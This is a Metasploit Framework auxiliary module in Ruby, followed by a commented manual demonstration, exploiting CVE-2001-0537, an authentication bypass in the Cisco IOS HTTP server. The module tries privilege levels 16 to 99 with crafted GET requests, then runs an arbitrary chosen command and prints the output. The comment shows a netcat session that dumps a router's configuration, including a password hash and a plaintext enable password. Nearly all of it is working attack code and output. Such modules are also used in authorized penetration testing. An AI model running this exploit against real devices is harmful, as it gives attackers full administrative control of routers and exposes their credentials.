metasploit-framework/modules/auxiliary/admin/cisco/ios_http_auth_bypass.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',
'Description' => %q{
This module exploits a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for "/level/num/exec/..", where num is between
16 and 99, it is possible to bypass authentication and obtain full system
control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
tested successfully against a Cisco 1600 Router IOS v11.3(11d).
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '2936'],
[ 'CVE', '2001-0537'],
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'],
[ 'OSVDB', '578' ],
],
'DisclosureDate' => 'June 27 2001'))
register_options(
[
Opt::RPORT(80),
OptString.new('CMD', [ true, "Cisco IOS command", 'show start' ])
], self.class)
end
def run
print_status("Looking for a vulnerable privilege level...")
16.upto(99) do | level |
connect
sploit = "GET /level/" + level.to_s + "/exec/show%20privilege HTTP/1.0\r\n\r\n"
sock.put(sploit)
result = sock.get(-1,-3)
disconnect
if (result =~ /Current privilege level is/)
print_status("Found vulnerable privilege level: " + level.to_s)
xCMD = Rex::Text.uri_encode(datastore['CMD'], 'hex-normal')
print_status("Sending your encoded command: " + xCMD)
connect
sploit = "GET /level/" + level.to_s + "/exec/" + xCMD + " HTTP/1.0\r\n\r\n"
sock.put(sploit)
result = sock.get(-1,-3)
print_status(result.to_s)
disconnect
break
end
end
end
end
=begin
Patrick Webster 20070922 Cisco 1600 Router IOS v11.3(11d).
IOS info:
IOS (tm) 1600 Software (C1600-Y-L), Version 11.3(11d), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-2003 by cisco Systems, Inc.
Compiled Tue 22-Jul-03 17:00 by eaarmas
Example Exploit:
patrick@aushack ~
$ nc 172.16.32.2 80
GET /level/15/exec/show%20start HTTP/1.0
HTTP/1.0 401 Unauthorized
Date: Mon, 01 Mar 1993 00:20:41 UTC
Content-type: text/html
Expires: Thu, 16 Feb 1989 00:00:00 GMT
WWW-Authenticate: Basic realm="level 15 access"
<HEAD><TITLE>Authorization Required</TITLE></HEAD><BODY><H1>Authorization Requir
ed</H1>Browser not authentication-capable or authentication failed.</BODY>
patrick@aushack ~
$ nc 172.16.32.2 80
GET /level/16/exec/show%20start HTTP/1.0
HTTP/1.0 200 OK
Date: Mon, 01 Mar 1993 00:21:31 UTC
Server: cisco-IOS/11.3 HTTP-server/1.0(1)
Content-type: text/html
Expires: Thu, 16 Feb 1989 00:00:00 GMT
<HTML><HEAD><TITLE>Router /level/16/exec/show start</TITLE></HEAD>
<BODY><H1>Router</H1><PRE><HR>
<FORM METHOD=POST ACTION="/level/16/exec/show start"><DL>
Using 653 out of 7506 bytes
!
version 11.1
no service udp-small-servers
no service tcp-small-servers
!
hostname Router
!
boot system flash c1600-y-l.113-11d.bin
boot system flash
enable secret 5 $1$nDn5$pcheGox3RoCdQNjfq5BHe1
enable password cisco
!
[snip]
=end